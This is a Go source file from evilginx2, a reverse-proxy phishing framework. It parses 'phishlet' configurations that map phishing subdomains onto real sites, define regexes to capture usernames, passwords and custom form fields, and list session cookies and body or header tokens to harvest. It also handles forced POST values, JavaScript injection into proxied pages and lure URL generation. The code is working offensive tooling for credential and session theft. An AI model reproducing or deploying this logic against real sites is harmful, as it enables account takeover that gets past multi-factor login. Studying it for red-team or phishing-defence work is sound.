evilginx2/core/phishlet.go
2023-05-10 11:04:32 +02:00

1013 lines
26 KiB
Go

package core
import (
"fmt"
"regexp"
"strconv"
"strings"
"github.com/kgretzky/evilginx2/log"
"github.com/spf13/viper"
)
var AUTH_TOKEN_TYPES = []string{"cookie", "body", "http"}
type ProxyHost struct {
phish_subdomain string
orig_subdomain string
domain string
handle_session bool
is_landing bool
auto_filter bool
}
type SubFilter struct {
subdomain string
domain string
mime []string
regexp string
replace string
redirect_only bool
with_params []string
}
type CookieAuthToken struct {
domain string
name string
re *regexp.Regexp
http_only bool
optional bool
always bool
}
type BodyAuthToken struct {
domain string
path *regexp.Regexp
name string
search *regexp.Regexp
}
type HttpAuthToken struct {
domain string
path *regexp.Regexp
name string
header string
}
type PhishletVersion struct {
major int
minor int
build int
}
type PostField struct {
tp string
key_s string
key *regexp.Regexp
search *regexp.Regexp
}
type ForcePostSearch struct {
key *regexp.Regexp `mapstructure:"key"`
search *regexp.Regexp `mapstructure:"search"`
}
type ForcePostForce struct {
key string `mapstructure:"key"`
value string `mapstructure:"value"`
}
type ForcePost struct {
path *regexp.Regexp `mapstructure:"path"`
search []ForcePostSearch `mapstructure:"search"`
force []ForcePostForce `mapstructure:"force"`
tp string `mapstructure:"type"`
}
type LoginUrl struct {
domain string `mapstructure:"domain"`
path string `mapstructure:"path"`
}
type JsInject struct {
trigger_domains []string `mapstructure:"trigger_domains"`
trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"`
trigger_params []string `mapstructure:"trigger_params"`
script string `mapstructure:"script"`
}
type Phishlet struct {
Name string
ParentName string
Path string
Author string
Version PhishletVersion
minVersion string
proxyHosts []ProxyHost
domains []string
subfilters map[string][]SubFilter
cookieAuthTokens map[string][]*CookieAuthToken
bodyAuthTokens map[string]*BodyAuthToken
httpAuthTokens map[string]*HttpAuthToken
authUrls []*regexp.Regexp
username PostField
password PostField
landing_path []string
cfg *Config
custom []PostField
forcePost []ForcePost
login LoginUrl
js_inject []JsInject
customParams map[string]string
isTemplate bool
}
type ConfigParam struct {
Name string `mapstructure:"name"`
Default *string `mapstructure:"default"`
Required *bool `mapstructure:"required"`
}
type ConfigProxyHost struct {
PhishSub *string `mapstructure:"phish_sub"`
OrigSub *string `mapstructure:"orig_sub"`
Domain *string `mapstructure:"domain"`
Session bool `mapstructure:"session"`
IsLanding bool `mapstructure:"is_landing"`
AutoFilter *bool `mapstructure:"auto_filter"`
}
type ConfigSubFilter struct {
Hostname *string `mapstructure:"triggers_on"`
Sub *string `mapstructure:"orig_sub"`
Domain *string `mapstructure:"domain"`
Search *string `mapstructure:"search"`
Replace *string `mapstructure:"replace"`
Mimes *[]string `mapstructure:"mimes"`
RedirectOnly bool `mapstructure:"redirect_only"`
WithParams *[]string `mapstructure:"with_params"`
}
type ConfigAuthToken struct {
Domain *string `mapstructure:"domain"`
Keys *[]string `mapstructure:"keys"`
Type *string `mapstructure:"type"`
Path *string `mapstructure:"path"`
Name *string `mapstructure:"name"`
Search *string `mapstructure:"search"`
Header *string `mapstructure:"header"`
}
type ConfigPostField struct {
Key *string `mapstructure:"key"`
Search *string `mapstructure:"search"`
Type string `mapstructure:"type"`
}
type ConfigCredentials struct {
Username *ConfigPostField `mapstructure:"username"`
Password *ConfigPostField `mapstructure:"password"`
Custom *[]ConfigPostField `mapstructure:"custom"`
}
type ConfigForcePostSearch struct {
Key *string `mapstructure:"key"`
Search *string `mapstructure:"search"`
}
type ConfigForcePostForce struct {
Key *string `mapstructure:"key"`
Value *string `mapstructure:"value"`
}
type ConfigForcePost struct {
Path *string `mapstructure:"path"`
Search *[]ConfigForcePostSearch `mapstructure:"search"`
Force *[]ConfigForcePostForce `mapstructure:"force"`
Type *string `mapstructure:"type"`
}
type ConfigLogin struct {
Domain *string `mapstructure:"domain"`
Path *string `mapstructure:"path"`
}
type ConfigJsInject struct {
TriggerDomains *[]string `mapstructure:"trigger_domains"`
TriggerPaths *[]string `mapstructure:"trigger_paths"`
TriggerParams []string `mapstructure:"trigger_params"`
Script *string `mapstructure:"script"`
}
type ConfigPhishlet struct {
Name string `mapstructure:"name"`
Params *[]ConfigParam `mapstructure:"params"`
ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
SubFilters *[]ConfigSubFilter `mapstructure:"sub_filters"`
AuthTokens *[]ConfigAuthToken `mapstructure:"auth_tokens"`
AuthUrls []string `mapstructure:"auth_urls"`
Credentials *ConfigCredentials `mapstructure:"credentials"`
ForcePosts *[]ConfigForcePost `mapstructure:"force_post"`
LandingPath *[]string `mapstructure:"landing_path"`
LoginItem *ConfigLogin `mapstructure:"login"`
JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
}
func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error) {
p := &Phishlet{
cfg: cfg,
}
p.Clear()
err := p.LoadFromFile(site, path, customParams)
if err != nil {
return nil, err
}
return p, nil
}
func (p *Phishlet) Clear() {
p.Name = ""
p.ParentName = ""
p.Author = ""
p.proxyHosts = []ProxyHost{}
p.domains = []string{}
p.subfilters = make(map[string][]SubFilter)
p.cookieAuthTokens = make(map[string][]*CookieAuthToken)
p.bodyAuthTokens = make(map[string]*BodyAuthToken)
p.httpAuthTokens = make(map[string]*HttpAuthToken)
p.authUrls = []*regexp.Regexp{}
p.username.key = nil
p.username.search = nil
p.password.key = nil
p.password.search = nil
p.custom = []PostField{}
p.forcePost = []ForcePost{}
p.customParams = make(map[string]string)
p.isTemplate = false
}
func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[string]string) error {
p.Clear()
c := viper.New()
c.SetConfigType("yaml")
c.SetConfigFile(path)
err := c.ReadInConfig()
if err != nil {
return err
}
p.Name = site
p.Path = path
p.ParentName = ""
p.Author = c.GetString("author")
p.Version, err = p.parseVersion(c.GetString("min_ver"))
if err != nil {
return err
}
if !p.isVersionHigherEqual(&p.Version, "2.2.0") {
return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
"- in each `sub_filters` item change `hostname` to `triggers_on`\n" +
"- in each `sub_filters` item change `sub` to `orig_sub`\n" +
"- rename section `user_regex` to `username`\n" +
"- rename section `pass_regex` to `password`\n" +
"- rename field `re` in both `username` and `password` to `search`\n" +
"- field `key` in both `username` and `password` must be a regexp by default\n" +
"- move `username` and `password` into new `credentials` section\n" +
"- add `type` field to `username` and `password` with value 'post' or 'json'\n" +
"- change `min_ver` to at least `2.2.0`\n" +
"you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)")
}
if !p.isVersionHigherEqual(&p.Version, "2.3.0") {
return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
"- replace `landing_path` with `login` section\n" +
"- change `min_ver` to at least `2.3.0`\n" +
"you can find the phishlet 2.3.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)")
}
fp := ConfigPhishlet{}
err = c.Unmarshal(&fp)
if err != nil {
return err
}
if fp.Params != nil {
if len(*fp.Params) > 0 {
p.isTemplate = true
}
if customParams != nil {
prequired := make(map[string]string)
pall := make(map[string]string)
params := make(map[string]string)
for _, param := range *fp.Params {
val := ""
if param.Default != nil {
val = *param.Default
}
params[param.Name] = val
pall[param.Name] = val
if param.Required != nil && *param.Required == true {
prequired[param.Name] = val
}
}
for k, v := range *customParams {
if _, ok := pall[k]; !ok {
log.Warning("phishlets: [%s] incorrect parameter key specified: %s", site, k)
delete(*customParams, k)
continue
}
params[k] = v
if _, ok := prequired[k]; ok {
delete(prequired, k)
}
}
if len(prequired) > 0 {
return fmt.Errorf("missing custom parameter values during initalization: %v", prequired)
}
p.isTemplate = false
p.customParams = params
} else {
for _, param := range *fp.Params {
val := ""
if param.Required != nil && *param.Required {
val += "(required)"
} else if param.Default != nil {
val = *param.Default
}
p.customParams[param.Name] = val
}
}
/*
if customParams != nil {
p.customParams = *customParams
} else {
for _, param := range *fp.Params {
p.customParams[param.Name] = param.Default
}
}*/
}
if fp.ProxyHosts == nil {
return fmt.Errorf("missing `proxy_hosts` section")
}
if fp.AuthTokens == nil {
return fmt.Errorf("missing `auth_tokens` section")
}
if fp.Credentials == nil {
return fmt.Errorf("missing `credentials` section")
}
if fp.Credentials.Username == nil {
return fmt.Errorf("credentials: missing `username` section")
}
if fp.Credentials.Password == nil {
return fmt.Errorf("credentials: missing `password` section")
}
if fp.LoginItem == nil {
return fmt.Errorf("missing `login` section")
}
for _, ph := range *fp.ProxyHosts {
if ph.PhishSub == nil {
return fmt.Errorf("proxy_hosts: missing `phish_sub` field")
}
if ph.OrigSub == nil {
return fmt.Errorf("proxy_hosts: missing `orig_sub` field")
}
if ph.Domain == nil {
return fmt.Errorf("proxy_hosts: missing `domain` field")
}
auto_filter := true
if ph.AutoFilter != nil {
auto_filter = *ph.AutoFilter
}
p.addProxyHost(p.paramVal(*ph.PhishSub), p.paramVal(*ph.OrigSub), p.paramVal(*ph.Domain), ph.Session, ph.IsLanding, auto_filter)
}
if len(p.proxyHosts) == 0 {
return fmt.Errorf("proxy_hosts: list cannot be empty")
}
session_set := false
for _, ph := range p.proxyHosts {
if ph.handle_session {
session_set = true
break
}
}
if !session_set {
p.proxyHosts[0].handle_session = true
}
landing_set := false
for _, ph := range p.proxyHosts {
if ph.is_landing {
landing_set = true
break
}
}
if !landing_set {
p.proxyHosts[0].is_landing = true
}
if fp.SubFilters != nil {
for _, sf := range *fp.SubFilters {
if sf.Hostname == nil {
return fmt.Errorf("sub_filters: missing `triggers_on` field")
}
if sf.Sub == nil {
return fmt.Errorf("sub_filters: missing `orig_sub` field")
}
if sf.Domain == nil {
return fmt.Errorf("sub_filters: missing `domain` field")
}
if sf.Mimes == nil {
return fmt.Errorf("sub_filters: missing `mimes` field")
}
if sf.Search == nil {
return fmt.Errorf("sub_filters: missing `search` field")
}
if sf.Replace == nil {
return fmt.Errorf("sub_filters: missing `replace` field")
}
if sf.WithParams == nil {
sf.WithParams = &[]string{}
}
for n := range *sf.Mimes {
(*sf.Mimes)[n] = p.paramVal((*sf.Mimes)[n])
}
p.addSubFilter(p.paramVal(*sf.Hostname), p.paramVal(*sf.Sub), p.paramVal(*sf.Domain), *sf.Mimes, p.paramVal(*sf.Search), p.paramVal(*sf.Replace), sf.RedirectOnly, *sf.WithParams)
}
}
if fp.JsInject != nil {
for _, js := range *fp.JsInject {
if js.TriggerDomains == nil {
return fmt.Errorf("js_inject: missing `trigger_domains` field")
}
if js.TriggerPaths == nil {
return fmt.Errorf("js_inject: missing `trigger_paths` field")
}
if js.Script == nil {
return fmt.Errorf("js_inject: missing `script` field")
}
for n := range *js.TriggerDomains {
(*js.TriggerDomains)[n] = p.paramVal((*js.TriggerDomains)[n])
}
for n := range *js.TriggerPaths {
(*js.TriggerPaths)[n] = p.paramVal((*js.TriggerPaths)[n])
}
err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, p.paramVal(*js.Script))
if err != nil {
return err
}
}
}
for _, at := range *fp.AuthTokens {
ttype := "cookie"
if at.Type != nil {
ttype = *at.Type
}
if !stringExists(ttype, AUTH_TOKEN_TYPES) {
return fmt.Errorf("auth_tokens: invalid token type: %s", ttype)
}
switch ttype {
case "cookie":
if at.Domain == nil {
return fmt.Errorf("auth_tokens: 'domain' not found for cookie auth token")
}
if at.Keys == nil {
return fmt.Errorf("auth_tokens: 'keys' not found for cookie auth token")
}
for n := range *at.Keys {
(*at.Keys)[n] = p.paramVal((*at.Keys)[n])
}
err := p.addCookieAuthTokens(p.paramVal(*at.Domain), *at.Keys)
if err != nil {
return err
}
case "body":
if at.Domain == nil {
return fmt.Errorf("auth_tokens: 'domain' not found for body auth token")
}
if at.Path == nil {
return fmt.Errorf("auth_tokens: 'path' not found for body auth token")
}
if at.Name == nil {
return fmt.Errorf("auth_tokens: 'name' not found for body auth token")
}
if at.Search == nil {
return fmt.Errorf("auth_tokens: 'search' not found for body auth token")
}
err := p.addBodyAuthToken(p.paramVal(*at.Domain), p.paramVal(*at.Path), p.paramVal(*at.Name), p.paramVal(*at.Search))
if err != nil {
return err
}
case "http":
if at.Domain == nil {
return fmt.Errorf("auth_tokens: 'domain' not found for http auth token")
}
if at.Path == nil {
return fmt.Errorf("auth_tokens: 'path' not found for http auth token")
}
if at.Name == nil {
return fmt.Errorf("auth_tokens: 'name' not found for http auth token")
}
if at.Header == nil {
return fmt.Errorf("auth_tokens: 'header' not found for http auth token")
}
err := p.addHttpAuthToken(p.paramVal(*at.Domain), p.paramVal(*at.Path), p.paramVal(*at.Name), p.paramVal(*at.Header))
if err != nil {
return err
}
}
}
for _, au := range fp.AuthUrls {
re, err := regexp.Compile(p.paramVal(au))
if err != nil {
return err
}
p.authUrls = append(p.authUrls, re)
}
if fp.Credentials.Username.Key == nil {
return fmt.Errorf("credentials: missing username `key` field")
}
if fp.Credentials.Username.Search == nil {
return fmt.Errorf("credentials: missing username `search` field")
}
if fp.Credentials.Password.Key == nil {
return fmt.Errorf("credentials: missing password `key` field")
}
if fp.Credentials.Password.Search == nil {
return fmt.Errorf("credentials: missing password `search` field")
}
p.username.key, err = regexp.Compile(p.paramVal(*fp.Credentials.Username.Key))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
p.username.search, err = regexp.Compile(p.paramVal(*fp.Credentials.Username.Search))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
p.password.key, err = regexp.Compile(p.paramVal(*fp.Credentials.Password.Key))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
p.password.search, err = regexp.Compile(p.paramVal(*fp.Credentials.Password.Search))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
p.username.tp = fp.Credentials.Username.Type
if p.username.tp == "" {
p.username.tp = "post"
}
p.password.tp = fp.Credentials.Password.Type
if p.password.tp == "" {
p.password.tp = "post"
}
p.username.key_s = p.paramVal(*fp.Credentials.Username.Key)
p.password.key_s = p.paramVal(*fp.Credentials.Password.Key)
if fp.LoginItem.Domain == nil {
return fmt.Errorf("login: missing `domain` field")
}
if fp.LoginItem.Path == nil {
return fmt.Errorf("login: missing `path` field")
}
p.login.domain = p.paramVal(*fp.LoginItem.Domain)
if p.login.domain == "" {
return fmt.Errorf("login: `domain` field cannot be empty")
}
login_domain_ok := false
for _, h := range p.proxyHosts {
var check_host string
if h.orig_subdomain != "" {
check_host = h.orig_subdomain + "."
}
check_host += h.domain
if strings.ToLower(check_host) == strings.ToLower(p.login.domain) {
login_domain_ok = true
break
}
}
if !login_domain_ok {
return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section")
}
p.login.path = p.paramVal(*fp.LoginItem.Path)
if p.login.path == "" {
p.login.path = "/"
}
if p.login.path[0] != '/' {
p.login.path = "/" + p.login.path
}
if fp.Credentials.Custom != nil {
for _, cp := range *fp.Credentials.Custom {
var err error
if cp.Key == nil {
return fmt.Errorf("credentials: missing custom `key` field")
}
if cp.Search == nil {
return fmt.Errorf("credentials: missing custom `search` field")
}
o := PostField{}
o.key, err = regexp.Compile(p.paramVal(*cp.Key))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
o.search, err = regexp.Compile(p.paramVal(*cp.Search))
if err != nil {
return err
}
o.tp = cp.Type
if o.tp == "" {
o.tp = "post"
}
o.key_s = p.paramVal(*cp.Key)
p.custom = append(p.custom, o)
}
}
if fp.ForcePosts != nil {
for _, op := range *fp.ForcePosts {
var err error
if op.Path == nil || *op.Path == "" {
return fmt.Errorf("force_post: missing or empty `path` field")
}
if op.Type == nil || *op.Type != "post" {
return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
}
if op.Force == nil || len(*op.Force) == 0 {
return fmt.Errorf("force_post: missing or empty `force` field")
}
fpf := ForcePost{}
fpf.path, err = regexp.Compile(p.paramVal(*op.Path))
if err != nil {
return err
}
fpf.tp = *op.Type
if op.Search != nil {
for _, op_s := range *op.Search {
if op_s.Key == nil {
return fmt.Errorf("force_post: missing search `key` field")
}
if op_s.Search == nil {
return fmt.Errorf("force_post: missing search `search` field")
}
f_s := ForcePostSearch{}
f_s.key, err = regexp.Compile(p.paramVal(*op_s.Key))
if err != nil {
return err
}
f_s.search, err = regexp.Compile(p.paramVal(*op_s.Search))
if err != nil {
return err
}
fpf.search = append(fpf.search, f_s)
}
}
for _, op_f := range *op.Force {
if op_f.Key == nil {
return fmt.Errorf("force_post: missing force `key` field")
}
if op_f.Value == nil {
return fmt.Errorf("force_post: missing force `value` field")
}
f_f := ForcePostForce{
key: p.paramVal(*op_f.Key),
value: p.paramVal(*op_f.Value),
}
fpf.force = append(fpf.force, f_f)
}
p.forcePost = append(p.forcePost, fpf)
}
}
if fp.LandingPath != nil {
p.landing_path = *fp.LandingPath
for n := range p.landing_path {
p.landing_path[n] = p.paramVal(p.landing_path[n])
}
}
return nil
}
func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string {
var ret []string
phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
if ok {
if !use_wildcards {
for _, h := range p.proxyHosts {
ret = append(ret, combineHost(h.phish_subdomain, phishDomain))
}
} else {
ret = []string{"*." + phishDomain}
}
}
return ret
}
func (p *Phishlet) GetLureUrl(path string) (string, error) {
var ret string
host := p.cfg.GetBaseDomain()
for _, h := range p.proxyHosts {
if h.is_landing {
phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
if ok {
host = combineHost(h.phish_subdomain, phishDomain)
}
}
}
ret = "https://" + host + path
return ret, nil
}
func (p *Phishlet) GetLoginUrl() string {
return "https://" + p.login.domain + p.login.path
}
func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error) {
for _, js := range p.js_inject {
host_matched := false
for _, h := range js.trigger_domains {
if h == strings.ToLower(hostname) {
host_matched = true
break
}
}
if host_matched {
path_matched := false
for _, p_re := range js.trigger_paths {
if p_re.MatchString(path) {
path_matched = true
break
}
}
if path_matched {
params_matched := false
if params != nil {
pcnt := 0
for k := range *params {
if stringExists(k, js.trigger_params) {
pcnt += 1
}
}
if pcnt == len(js.trigger_params) {
params_matched = true
}
} else {
params_matched = true
}
if params_matched {
script := js.script
if params != nil {
for k, v := range *params {
script = strings.Replace(script, "{"+k+"}", v, -1)
}
}
return script, nil
}
}
}
}
return "", fmt.Errorf("script not found")
}
func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string {
ret := make(map[string]map[string]string)
td := make(map[string]string)
for domain, tokens := range p.cookieAuthTokens {
ret[domain] = make(map[string]string)
for _, t := range tokens {
td[t.name] = domain
}
}
for k, v := range tokens {
if domain, ok := td[k]; ok {
ret[domain][k] = v
}
}
return ret
}
func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) {
phish_subdomain = strings.ToLower(phish_subdomain)
orig_subdomain = strings.ToLower(orig_subdomain)
domain = strings.ToLower(domain)
if !p.domainExists(domain) {
p.domains = append(p.domains, domain)
}
p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
}
func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool, with_params []string) {
hostname = strings.ToLower(hostname)
subdomain = strings.ToLower(subdomain)
domain = strings.ToLower(domain)
for n := range mime {
mime[n] = strings.ToLower(mime[n])
}
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only, with_params: with_params})
}
func (p *Phishlet) addCookieAuthTokens(hostname string, tokens []string) error {
p.cookieAuthTokens[hostname] = []*CookieAuthToken{}
for _, tk := range tokens {
st := strings.Split(tk, ":")
if len(st) == 1 {
st = strings.Split(tk, ",")
}
if len(st) > 0 {
name := st[0]
at := &CookieAuthToken{
name: name,
re: nil,
http_only: false,
optional: false,
always: false,
}
for i := 1; i < len(st); i++ {
switch st[i] {
case "regexp":
var err error
at.re, err = regexp.Compile(name)
if err != nil {
return err
}
case "opt":
at.optional = true
case "always":
at.always = true
}
}
p.cookieAuthTokens[hostname] = append(p.cookieAuthTokens[hostname], at)
}
}
return nil
}
func (p *Phishlet) addBodyAuthToken(hostname string, path string, name string, search string) error {
path_re, err := regexp.Compile(path)
if err != nil {
return err
}
search_re, err := regexp.Compile(search)
if err != nil {
return err
}
p.bodyAuthTokens[name] = &BodyAuthToken{
domain: hostname,
path: path_re,
name: name,
search: search_re,
}
return nil
}
func (p *Phishlet) addHttpAuthToken(hostname string, path string, name string, header string) error {
path_re, err := regexp.Compile(path)
if err != nil {
return err
}
p.httpAuthTokens[name] = &HttpAuthToken{
domain: hostname,
path: path_re,
name: name,
header: header,
}
return nil
}
func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
js := JsInject{}
for _, d := range trigger_domains {
js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
}
for _, d := range trigger_paths {
re, err := regexp.Compile("^" + d + "$")
if err == nil {
js.trigger_paths = append(js.trigger_paths, re)
} else {
return fmt.Errorf("js_inject: %v", err)
}
}
for _, d := range trigger_params {
js.trigger_params = append(js.trigger_params, strings.ToLower(d))
}
js.script = script
p.js_inject = append(p.js_inject, js)
return nil
}
func (p *Phishlet) domainExists(domain string) bool {
for _, d := range p.domains {
if domain == d {
return true
}
}
return false
}
func (p *Phishlet) getAuthToken(domain string, token string) *CookieAuthToken {
if tokens, ok := p.cookieAuthTokens[domain]; ok {
for _, at := range tokens {
if at.re != nil {
if at.re.MatchString(token) {
return at
}
} else if at.name == token {
return at
}
}
}
return nil
}
func (p *Phishlet) isAuthToken(domain string, token string) bool {
if at := p.getAuthToken(domain, token); at != nil {
return true
}
return false
}
func (p *Phishlet) isTokenHttpOnly(domain string, token string) bool {
if at := p.getAuthToken(domain, token); at != nil {
return at.http_only
}
return false
}
func (p *Phishlet) MimeExists(mime string) bool {
return false
}
func (p *Phishlet) isVersionHigherEqual(pv *PhishletVersion, cver string) bool {
cv, err := p.parseVersion(cver)
if err != nil {
return false
}
if pv.major > cv.major {
return true
}
if pv.major == cv.major && pv.minor >= cv.minor {
return true
}
return false
}
func (p *Phishlet) parseVersion(ver string) (PhishletVersion, error) {
ret := PhishletVersion{}
va := strings.Split(ver, ".")
if len(va) != 3 {
return ret, fmt.Errorf("invalid version format (must be X.Y.Z)")
}
var err error
ret.major, err = strconv.Atoi(va[0])
if err != nil {
return ret, err
}
ret.minor, err = strconv.Atoi(va[1])
if err != nil {
return ret, err
}
ret.build, err = strconv.Atoi(va[2])
if err != nil {
return ret, err
}
return ret, nil
}
func (p *Phishlet) paramVal(s string) string {
var ret string = s
if !p.isTemplate {
for k, v := range p.customParams {
ret = strings.ReplaceAll(ret, "{"+k+"}", v)
}
}
return ret
}